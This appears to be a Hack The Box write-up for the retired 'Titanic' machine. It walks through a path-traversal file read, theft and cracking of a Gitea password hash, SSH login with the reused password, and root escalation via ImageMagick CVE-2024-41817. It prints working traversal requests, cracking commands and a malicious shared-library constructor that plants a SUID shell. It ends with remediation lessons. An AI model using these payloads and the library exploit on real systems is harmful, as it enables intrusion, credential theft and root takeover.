root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat titanic.md
// writeups

Titanic

15 Feb 2025 · 12 min read
Titanic - maquina de Hack The Box

Executive summary — Titanic chains a path traversal in the ticket-download endpoint of a Flask app, allowing arbitrary file read as www-data. That LFI is used to steal the SQLite database of an internal Gitea instance, crack a PBKDF2-HMAC-SHA256 hash, and reuse the recovered password to get SSH access. The final escalation abuses CVE-2024-41817 in ImageMagick: a root cron job runs magick from a directory writable by the user, which loads a malicious shared library planted there.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.231.221

Attack map

[80] titanic.htb — booking app (Flask/Werkzeug)
   │  /download?ticket= does not confine the path to the tickets directory
   ▼
[LFI]  arbitrary file read as www-data
   │  steals gitea.db (SQLite) from the dev.titanic.htb vhost
   ▼
[Gitea DB]  developer's PBKDF2-HMAC-SHA256 hash -> cracked (hashcat -m 10900)
   │  password reused as the SSH password
   ▼
[SSH]  developer  (user.txt)
   │  a root cron job runs every minute a script that cd's into a
   │  directory writable by developer before invoking magick
   │  CVE-2024-41817 — ImageMagick looks for libxcb.so.1 in the CWD
   ▼
[ROOT]  malicious libxcb.so.1 -> constructor executed as root  (root.txt)

1. Reconnaissance

The host doesn't respond to ICMP, and a quick top-100 scan came back all filtered — a typical artifact of a firewall dropping pings, not an actual absence of services. A full scan with -Pn (not relying on ping) clears up the real surface:

nmap -p- --min-rate 2000 -Pn -oN recon/nmap-allports.txt 10.129.231.221
nmap -sCV -p22,80 -Pn -oN recon/nmap-services.txt 10.129.231.221
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu 22.04)
80/tcp open  http    Apache 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/

Apache's redirect reveals the vhost titanic.htb. After adding it to /etc/hosts, response headers show Server: Werkzeug/3.0.3 Python/3.10.12 — the real app is Flask, with Apache sitting in front as a reverse proxy:

curl -s http://titanic.htb/ | grep -oiE '<title>[^<]*|action="[^"]*"'
<title>Titanic - Book Your Ship Trip
action="/book"

A ticket-booking form (/book) is all the visible functionality on the homepage.

2. Path traversal in the download endpoint — LFI

Submitting a booking makes the app generate a JSON ticket and redirect to a download endpoint that serves it back:

curl -s -i -X POST http://titanic.htb/book \
  --data "name=test&email=a@a.com&phone=123&date=2026-01-01&cabin=Standard" | grep -i location
Location: /download?ticket=1307cf87-...-99e855411bd3.json

Mechanism (H-01): the /download endpoint takes the ticket name in the ticket parameter and serves the matching file without normalizing or confining the path to the tickets directory. There's no check that the supplied value is only a filename: an absolute path or a ../ sequence gets concatenated as-is before the file is opened, giving arbitrary read with the web process's privileges (CWE-22, CWE-23).

curl -s "http://titanic.htb/download?ticket=/etc/passwd"
# equivalent: ?ticket=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

Arbitrary read confirmed. /etc/passwd shows a single human user: developer (uid 1000). Repeating the same technique against the target's own /etc/hosts confirms a second vhost configured on the server: dev.titanic.htb.

3. Stealing the Gitea database and cracking the hash

echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts
curl -s -i http://dev.titanic.htb/ | grep -iE "gitea|<title>"
Set-Cookie: i_like_gitea=...
<title>Gitea: Git with a cup of tea</title>

dev.titanic.htb serves a Gitea instance. By default it uses a SQLite backend that stores everything — users, password hashes and salts included — in a single gitea.db file. With the LFI from the previous step, that file is just as readable as any other (CWE-522: Gitea's credential store gets exposed through the web process's LFI, even though both services run on the same host):

curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o loot/gitea.db
head -c15 loot/gitea.db    # "SQLite format 3"
sqlite3 loot/gitea.db "SELECT name,email,passwd,salt,passwd_hash_algo FROM user;"
administrator|root@titanic.htb|cba20ccf...|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|developer@titanic.htb|e531d398...619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50

Gitea derives passwords with PBKDF2-HMAC-SHA256, 50000 iterations and a 50-byte key, storing passwd/salt as hex. Hashcat instead expects mode 10900 in sha256:iterations:base64(salt):base64(hash) format — hex needs to be converted to base64 before it can be cracked:

salt="8bf3e3452b78544f8bee9400d6936d34"
passwd="e531d398...619263444ea594cfb56"
print(f"sha256:50000:{base64.b64encode(bytes.fromhex(salt)).decode()}:{base64.b64encode(bytes.fromhex(passwd)).decode()}")
hashcat -m 10900 loot/gitea_developer.hash /usr/share/wordlists/rockyou.txt
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rq...+1Y=:25282528

developer's password: 25282528.

4. SSH access as developer (user.txt)

The same password recovered from the Gitea hash turns out to be the password for the system account developer — credential reuse between the internal application and the host itself:

sshpass -p '25282528' ssh developer@10.129.231.221 'id; cat ~/user.txt'
uid=1000(developer) gid=1000(developer) groups=1000(developer)
3f1c3ed16467ccd22f25435ed0a280e5

user.txt: 3f1c3ed16467ccd22f25435ed0a280e5

5. Privilege escalation to root — ImageMagick (CVE-2024-41817)

ls -laR /opt
cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

metadata.log gets regenerated every minute, which gives away a root cron job running this script. Two facts turn it into an escalation path: the script cds into a directory with permissions drwxrwx--- root developer — writable by the developer user itself — and the installed ImageMagick version is vulnerable:

magick --version    # ImageMagick 7.1.1-35 Q16-HDRI

Mechanism (H-04, CVE-2024-41817): ImageMagick 7.1.1-35 resolves some dependencies at load time — including libxcb.so.1 — by also searching the current working directory before the linker's normal search paths. Since root's script cds into a directory writable by the attacker before invoking magick, planting a malicious libxcb.so.1 there is enough to get ImageMagick to load it and run its constructor (__attribute__((constructor))) with the privileges of whoever launches the process — root (CWE-426, CWE-427).

// libxcb.so.1 — the constructor runs when the library is loaded, as root
__attribute__((constructor)) void init(){
    setuid(0); setgid(0);
    system("cat /root/root.txt > /tmp/rt; "        // exfiltrate the flag
           "cp /bin/bash /tmp/rootbash; "          // drop a SUID bash
           "chmod 4755 /tmp/rootbash; "            // 4755 = SUID (careful: do NOT later chmod 777, that drops the SUID bit)
           "chmod 666 /tmp/rt");
}
gcc -shared -fPIC -nostartfiles -o libxcb.so.1 evil.c

It gets copied into the writable directory, then it's a matter of waiting for the cron job to invoke magick from that CWD (about a minute):

scp libxcb.so.1 developer@titanic.htb:/opt/app/static/assets/images/libxcb.so.1
# wait ~1 min for the cron job to run
cat /tmp/rt                       # root.txt exfiltrated by the constructor
/tmp/rootbash -p -c 'id'          # shell with euid=0
31ad3851dcfd1fe0ea0d2999767549c6
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)

root.txt: 31ad3851dcfd1fe0ea0d2999767549c6

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdBooking app's /download endpointCWE-22/23 — path traversal, path not confined to the tickets directoryArbitrary file read as www-data
Lateral movementgitea.db (Gitea, SQLite) + SSH passwordCWE-522 — Gitea credentials exposed via LFI; PBKDF2 hash cracked and reusedAccess as developer (user.txt)
PrivEscidentify_images.sh (root cron) + ImageMagickCVE-2024-41817 (CWE-426/427) — library loaded from the current working directoryRoot via malicious libxcb.so.1 (root.txt)

Lessons learned

  • A download endpoint that takes a filename from the client must validate with realpath() that the resulting path stays inside the allowed directory — rejecting .., absolute paths and null bytes — or, better, reference the resource by an opaque identifier (UUID) mapped server-side, never by a client-controlled filename.
  • Isolate internal services (here, Gitea) from the web process with separate users and permissions: the public application should never be able to read another service's database, even on the same host. The real root cause isn't Gitea itself, but the LFI that exposes it.
  • Strong passwords, never reused across services; SSH restricted to key-based authentication, and MFA on internal tools like Gitea.
  • Keep ImageMagick updated (>= 7.1.1-36) and never run tools from directories writable by unprivileged users: use absolute paths, a read-only working directory, or find ... -exec without changing the CWD. Least privilege applies to cron jobs too.